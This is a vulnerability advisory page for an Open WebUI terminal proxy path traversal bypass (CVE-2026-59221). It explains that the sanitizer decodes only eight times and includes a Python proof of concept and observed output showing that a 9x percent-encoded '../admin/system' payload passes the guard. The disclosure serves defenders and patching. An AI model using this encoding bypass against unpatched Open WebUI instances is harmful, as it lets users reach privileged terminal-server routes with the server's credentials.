Skip to content
Open WebUIGHSA-frvj-c5qp-xj4w

open-webui terminal proxy path traversal guard bypass via 9x encoded traversal

High7.7CVE-2026-59221 · Published Jul 24, 2026 · updated Aug 4, 2026

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
>= 0.9.6, < 0.10.00.10.0
Details and references

AI assistance was used to help inspect the code and prepare this report. ## Summary The fix for GHSA-r2wg-2mcr-66rv is incomplete in v0.9.6 and current main. `backend/open_webui/routers/terminals.py` documents `_sanitize_proxy_path()` as decoding until stable, but the implementation stops after 8 `unquote()` passes. A 9x percent-encoded `../...` path parameter remains once-encoded after the loop, passes the `posixpath.normpath()` and `cleaned.startswith('..')` checks, and is forwarded to the configured terminal server. The upstream server then receives a decoded traversal path such as `/base/../admin/system`. ## Impact A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and `X-User-Id` header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under `/p/{policy_id}/{safe_path}`, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv. This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection. ## Reproduction The following standalone Python script mirrors the current sanitizer and uses a local aiohttp server as the terminal-server canary. It shows that 8x encoding is rejected but 9x encoding is accepted and forwarded as a traversal after the upstream framework decodes the path. ```python import asyncio, posixpath from urllib.parse import unquote from aiohttp import web, ClientSession, ClientTimeout def sanitize(path): decoded = path for _ in range(8): once = unquote(decoded) if once == decoded: break decoded = once cleaned = posixpath.normpath(decoded).lstrip('/') if cleaned.startswith('..') or cleaned == '.': return None return cleaned def enc(s, rounds): out = ''.join(f'%{b:02X}' for b in s.encode()) for _ in range(rounds - 1): out = out.replace('%', '%25') return out async def main(): async def handler(request): return web.json_response({'raw_path': request.raw_path, 'path': request.path}) app = web.Application() app.router.add_route('*', '/{tail:.*}', handler) runner = web.AppRunner(app) await runner.setup() site = web.TCPSite(runner, '127.0.0.1', 0) await site.start() port = site._server.sockets[0].getsockname()[1] for rounds in (8, 9): safe = sanitize(enc('../admin/system', rounds)) print(rounds, safe) if safe: url = f'http://127.0.0.1:{port}/base/{safe}' async with ClientSession(timeout=ClientTimeout(total=10)) as session: async with session.get(url) as response: print(await response.json()) await runner.cleanup() asyncio.run(main()) ``` Observed output on current main and v0.9.6 sanitizer: ```text 8 None 9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D {'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'} ``` The 9x encoded path argument is 285 bytes long, so this is not a megabyte-sized or impractical URL. When sent through the real route, account for the ASGI server decoding the HTTP path once before filling the `{path:path}` parameter: an external request can use one additional encoding layer so `_sanitize_proxy_path()` receives the 9x encoded parameter shown above. ## Root Cause / Technical Details `_sanitize_proxy_path()` in `backend/open_webui/routers/terminals.py` performs this loop: ```python decoded = path for _ in range(8): once = unquote(decoded) if once == decoded: break decoded = once ``` The subsequent traversal check is applied only to the value after those 8 iterations. If t

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-22, CWE-918
Also known as
CVE-2026-59221, PYSEC-2026-3597

More Open WebUI advisories

All Open WebUI
DateAdvisory
Jul 23Open WebUI's API key endpoint restrictions bypassed via `x-api-key` header , full message processing on restricted endpoints
CVE-2026-45339Medium6.5fixed in 0.9.0
Jul 24Open WebUI: Stored web worker XSS via Pyodide
CVE-2026-59214High7.3fixed in 0.10.0
Jul 24Open WebUI: Account enumeration via observable login timing discrepancy
CVE-2026-59218Medium5.3fixed in 0.10.0
Jul 24Open WebUI: Scheduled automations continue after pending-user deactivation and stored model ACL revocation
CVE-2026-59226Low3.1fixed in 0.10.0
Jul 24Open WebUI: ReDoS in skill-mention regexes causes whole-instance DoS on default config
CVE-2026-59220Medium6.5fixed in 0.10.0
Jul 24Open WebUI: POST /api/v1/images/edit bypasses the global image-edit switch and the per-user image-generation permission
CVE-2026-59227Medium4.3fixed in 0.10.0

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.